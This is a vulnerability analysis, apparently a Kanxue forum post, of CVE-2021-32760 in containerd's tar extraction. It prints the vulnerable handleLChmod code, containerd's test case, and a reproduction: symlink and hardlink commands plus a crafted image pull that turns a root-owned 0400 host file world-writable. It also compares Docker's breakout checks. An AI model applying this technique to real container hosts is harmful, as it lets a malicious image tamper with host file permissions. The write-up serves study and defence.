1
Vulnerability Background
2
Vulnerability Analysis and Reproduction
Vulnerability Analysis
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
if hdr.Typeflag == tar.TypeLink {
if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil && !os.IsNotExist(err) {
return err
}
} else if hdr.Typeflag != tar.TypeSymlink {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
}
return nil
}
func lchmod(path string, mode os.FileMode) error {
fi, err := os.Lstat(path)
if err != nil {
return err
}
if fi.Mode()&os.ModeSymlink == 0 {
if err := os.Chmod(path, mode); err != nil {
return err
}
}
return nil
}
{
name: "HardlinkSymlinkChmod",
w: func() tartest.WriterToTar {
p := filepath.Join(td, "perm400")
if err := ioutil.WriteFile(p, []byte("..."), 0400); err != nil {
t.Fatal(err)
}
ep := filepath.Join(td, "also-exists-outside-root")
if err := ioutil.WriteFile(ep, []byte("..."), 0640); err != nil {
t.Fatal(err)
}
return tartest.TarAll(
tc.Symlink(p, ep),
tc.Link(ep, "sketchylink"),
)
}(),
validator: func(string) error {
p := filepath.Join(td, "perm400")
fi, err := os.Lstat(p)
if err != nil {
return err
}
if perm := fi.Mode() & os.ModePerm; perm != 0400 {
return errors.Errorf("%s perm changed from 0400 to %04o", p, perm)
}
return nil
},
}
Vulnerability Reproduction
/home/admin # ln -s /home/admin/poc /home/admin/ep;ln ep sketchylink;ls -al
total 0
drwxr-xr-x 2 root root 33 Jul 23 10:46 .
drwxr-xr-x 3 nobody nobody 18 Jul 23 10:45 ..
lrwxrwxrwx 2 root root 15 Jul 23 10:45 ep -> /home/admin/poc
lrwxrwxrwx 2 root root 15 Jul 23 10:45 sketchylink -> /home/admin/poc
$ls -al
total 40
drwxr-xr-x 3 admin admin 4096 Jul 23 19:19 .
drwxr-xr-x. 21 root root 4096 Jul 22 13:47 ..
-rw-r--r-- 1 root root 0 Jul 23 19:19 ep
-r-------- 1 root root 0 Jul 23 19:19 poc
$sudo ctr image pull docker.io/test_images/vul:busybox-cve-2021-32760-0.5
docker.io/test_images/vul:busybox-cve-2021-32760-0.5: resolved |++++++++++++++++++++++++++++++++++++++|
manifest-sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa: done |++++++++++++++++++++++++++++++++++++++|
config-sha256:41346c641dd83548d3517a1caac991a0a8acdc427936e7e459ac8b78a5d8ae51: done |++++++++++++++++++++++++++++++++++++++|
layer-sha256:b71f96345d44b237decc0c2d6c2f9ad0d17fde83dad7579608f1f0764d9686f2: exists |++++++++++++++++++++++++++++++++++++++|
layer-sha256:4ee243a3930c69f74db7f5a33d5c46dfc0e2ef14452503ead59b386aad009078: done |++++++++++++++++++++++++++++++++++++++|
elapsed: 1.1 s total: 734.0 (666.0 B/s)
unpacking linux/amd64 sha256:48fa9fbf6b8139288d2129e66013812175b762a872b62e70d7f37f9a3eb17aaa...
done
$ls -al ep poc
-rw-r--r-- 1 root root 0 Jul 23 19:23 ep
-rwxrwxrwx 1 root root 0 Jul 23 19:21 poc
// Iterate through the files in the archive.
for {
select {
case <-ctx.Done():
return 0, ctx.Err()
default:
}
hdr, err := tr.Next()
if err == io.EOF {
// end of tar archive
break
}
if err != nil {
return 0, err
}
size += hdr.Size
// Normalize name, for safety and for a simple is-root check
hdr.Name = filepath.Clean(hdr.Name)
accept, err := options.Filter(hdr)
if err != nil {
return 0, err
}
if !accept {
continue
}
if skipFile(hdr) {
log.G(ctx).Warnf("file %q ignored: archive may not be supported on system", hdr.Name)
continue
}
// Split name and resolve symlinks for root directory.
ppath, base := filepath.Split(hdr.Name)
ppath, err = fs.RootPath(root, ppath)
if err != nil {
return 0, errors.Wrap(err, "failed to get root path")
}
// Join to root before joining to parent path to ensure relative links are
// already resolved based on the root before adding to parent.
path := filepath.Join(ppath, filepath.Join("/", base))
if path == root {
log.G(ctx).Debugf("file %q ignored: resolved to root", hdr.Name)
continue
}
// If file is not directly under root, ensure parent directory
// exists or is created.
if ppath != root {
parentPath := ppath
if base == "" {
parentPath = filepath.Dir(path)
}
if err := mkparent(ctx, parentPath, root, options.Parents); err != nil {
return 0, err
}
}
}
fs.RootPath
adds the root directory to all paths, limiting the range of directories and preventing traversal. Afterwards, thecreateTarFile
function processes different file types in the compressed package, and when the file type is a soft link:case tar.TypeSymlink:
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}
handleLChmod
code, the file type of the tar file is judged, but there is no restriction on the type of linked file. Therefore, when using soft links + hard links, it will directly link to files on the host machine, thereby modifying the file permissions of the host machine’s files.for {
hdr, err := tr.Next()
if err == io.EOF {
// end of tar archive
break
}
if err != nil {
return err
}
// ignore XGlobalHeader early to avoid creating parent directories for them
if hdr.Typeflag == tar.TypeXGlobalHeader {
logrus.Debugf("PAX Global Extended Headers found for %s and ignored", hdr.Name)
continue
}
// Normalize name, for safety and for a simple is-root check
// This keeps "../" as-is, but normalizes "/../" to "/". Or Windows:
// This keeps "..\" as-is, but normalizes "\..\" to "\".
hdr.Name = filepath.Clean(hdr.Name)
for _, exclude := range options.ExcludePatterns {
if strings.HasPrefix(hdr.Name, exclude) {
continue loop
}
}
// After calling filepath.Clean(hdr.Name) above, hdr.Name will now be in
// the filepath format for the OS on which the daemon is running. Hence
// the check for a slash-suffix MUST be done in an OS-agnostic way.
if !strings.HasSuffix(hdr.Name, string(os.PathSeparator)) {
// Not the root directory, ensure that the parent directory exists
parent := filepath.Dir(hdr.Name)
parentPath := filepath.Join(dest, parent)
if _, err := os.Lstat(parentPath); err != nil && os.IsNotExist(err) {
err = idtools.MkdirAllAndChownNew(parentPath, 0755, rootIDs)
if err != nil {
return err
}
}
}
path := filepath.Join(dest, hdr.Name)
rel, err := filepath.Rel(dest, path)
if err != nil {
return err
}
if strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
return breakoutError(fmt.Errorf("%q is outside of %q", hdr.Name, dest))
}
}
dest
restriction to the front of the tar package file path, it also prohibits the use of..
relative paths, so there is no directory traversal issue in docker.case tar.TypeLink:
targetPath := filepath.Join(extractDir, hdr.Linkname)
// check for hardlink breakout
if !strings.HasPrefix(targetPath, extractDir) {
return breakoutError(fmt.Errorf("invalid hardlink %q -> %q", targetPath, hdr.Linkname))
}
if err := os.Link(targetPath, path); err != nil {
return err
}
case tar.TypeSymlink:
// path -> hdr.Linkname = targetPath
// e.g. /extractDir/path/to/symlink -> ../2/file = /extractDir/path/2/file
targetPath := filepath.Join(filepath.Dir(path), hdr.Linkname)
// the reason we don't need to check symlinks in the path (with FollowSymlinkInScope) is because
// that symlink would first have to be created, which would be caught earlier, at this very check:
if !strings.HasPrefix(targetPath, extractDir) {
return breakoutError(fmt.Errorf("invalid symlink %q -> %q", path, hdr.Linkname))
}
if err := os.Symlink(hdr.Linkname, path); err != nil {
return err
}
func handleLChmod(hdr *tar.Header, path string, hdrInfo os.FileInfo) error {
if hdr.Typeflag == tar.TypeLink {
if fi, err := os.Lstat(hdr.Linkname); err == nil && (fi.Mode()&os.ModeSymlink == 0) {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
} else if hdr.Typeflag != tar.TypeSymlink {
if err := os.Chmod(path, hdrInfo.Mode()); err != nil {
return err
}
}
}
return nil
}
3
Impact Scope
4
Vulnerability Mitigation and Remediation
Kanxue ID: wx_游由
https://bbs.kanxue.com/user-home-765771.htm

# Previous Recommendations
1. Modifying standalone games under Android without root environment – IL2CPP
2. Introduction to autojs and countermeasures
3. Documenting the white-box AES restoration process of a car app
4. Rapid problem-solving using Unidbg in CTF-Android challenges
5. Android reverse engineering MagicImageViewer tips sharing
6. National competition babytree problem analysis


Share

Like

Currently Watching

Click to read the original text for more